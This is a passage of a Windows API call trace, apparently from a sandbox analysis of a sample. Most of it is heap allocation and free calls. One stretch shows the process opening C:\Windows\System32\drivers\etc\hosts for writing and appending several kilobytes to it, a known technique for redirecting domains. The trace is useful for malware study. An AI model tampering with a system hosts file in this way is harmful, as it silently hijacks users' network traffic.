0x305490 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d5d0 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c168 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x48) returned 0x31d5d0 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305490 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c190 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x60) returned 0x31d620 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d5d0 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x90) returned 0x31d688 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d620 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c1b8 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xd8) returned 0x31d720 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d688 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c1e0 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c208 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x138) returned 0x31d5d0 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d720 | out: hHeap=0x2f0000) returned 1 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c230 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c258 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c280 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c2a8 [0053.498] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1c8) returned 0x31d710 [0053.498] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d5d0 | out: hHeap=0x2f0000) returned 1 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c2d0 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c2f8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c320 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c348 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x2a0) returned 0x321358 [0053.499] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d710 | out: hHeap=0x2f0000) returned 1 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c370 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c398 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c3c0 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c3e8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c410 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x31c438 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321618 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321640 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x3f0) returned 0x31d5d0 [0053.499] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321358 | out: hHeap=0x2f0000) returned 1 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321668 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321690 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3216b8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3216e0 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321708 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321730 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321758 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321780 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3217a8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x5e8) returned 0x321e00 [0053.499] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31d5d0 | out: hHeap=0x2f0000) returned 1 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3217d0 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3217f8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321820 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321848 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321870 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321898 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3218c0 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3218e8 [0053.499] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321910 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321938 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x8d0) returned 0x3223f0 [0053.500] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321e00 | out: hHeap=0x2f0000) returned 1 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321960 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321988 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3219b0 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3219d8 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321a00 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321a28 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321a50 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321a78 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321aa0 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321ac8 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321af0 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321b18 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321b40 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321b68 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321b90 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321bb8 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xd38) returned 0x322cc8 [0053.500] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3223f0 | out: hHeap=0x2f0000) returned 1 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321be0 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321c08 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321c30 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321c58 [0053.500] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321c80 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321ca8 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321cd0 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321cf8 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321d20 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321d48 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321d70 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321d98 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321dc0 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321e18 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321e40 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321e68 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321e90 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321eb8 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321ee0 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321f08 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321f30 [0053.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321f58 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321f80 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321fa8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321fd0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x321ff8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322020 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322048 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x13eb) returned 0x323a08 [0053.505] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322cc8 | out: hHeap=0x2f0000) returned 1 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322070 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322098 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3220c0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3220e8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x30) returned 0x305490 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322110 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322138 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322160 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322188 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3221b0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3221d8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322200 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322228 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322250 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322278 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3222a0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3222c8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3222f0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322318 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322340 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322368 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322390 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3223b8 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3223e0 [0053.505] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322408 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322430 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322458 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322480 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3224a8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3224d0 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3224f8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322520 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322548 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322570 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322598 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3225c0 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322618 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1dc3) returned 0x324e00 [0053.506] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x323a08 | out: hHeap=0x2f0000) returned 1 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322640 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322668 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322690 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3226b8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3226e0 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322708 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322730 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322758 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322780 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3227a8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3227d0 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3227f8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322820 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322848 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322870 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322898 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3228c0 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3228e8 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322910 [0053.506] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322938 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322960 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322988 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3229b0 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x3229d8 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322a00 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322a28 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322a50 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322a78 [0053.507] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20) returned 0x322aa0 [0053.507] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31ff28 | out: hHeap=0x2f0000) returned 1 [0053.507] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0053.511] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0053.511] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0053.511] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0053.511] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x30) returned 0x305500 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x47) returned 0x320110 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305500 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x6a) returned 0x320160 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320110 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x9e) returned 0x3201d8 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320160 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xec) returned 0x320280 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3201d8 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x161) returned 0x320110 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320280 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x211) returned 0x320280 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320110 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x319) returned 0x3204a0 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320280 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x4a5) returned 0x3207c8 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3204a0 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x6f7) returned 0x320c78 [0053.511] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3207c8 | out: hHeap=0x2f0000) returned 1 [0053.511] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xa72) returned 0x320110 [0053.512] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320c78 | out: hHeap=0x2f0000) returned 1 [0053.512] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xfaa) returned 0x322e00 [0053.512] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x320110 | out: hHeap=0x2f0000) returned 1 [0053.512] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x17a1) returned 0x326bd0 [0053.512] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322e00 | out: hHeap=0x2f0000) returned 1 [0053.512] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x235f) returned 0x328380 [0053.512] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x326bd0 | out: hHeap=0x2f0000) returned 1 [0053.512] WriteFile (in: hFile=0xa0, lpBuffer=0x3283a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x3283a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0053.513] CloseHandle (hObject=0xa0) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x328380 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c118 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c140 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c168 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c190 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c1b8 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c1e0 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c208 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c230 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c258 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c280 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c2a8 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c2d0 | out: hHeap=0x2f0000) returned 1 [0053.514] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c2f8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c320 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c348 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c370 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c398 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c3c0 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c3e8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c410 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31c438 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321618 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321640 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321668 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321690 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3216b8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3216e0 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321708 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321730 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321758 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321780 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3217a8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3217d0 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3217f8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321820 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321848 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321870 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321898 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, 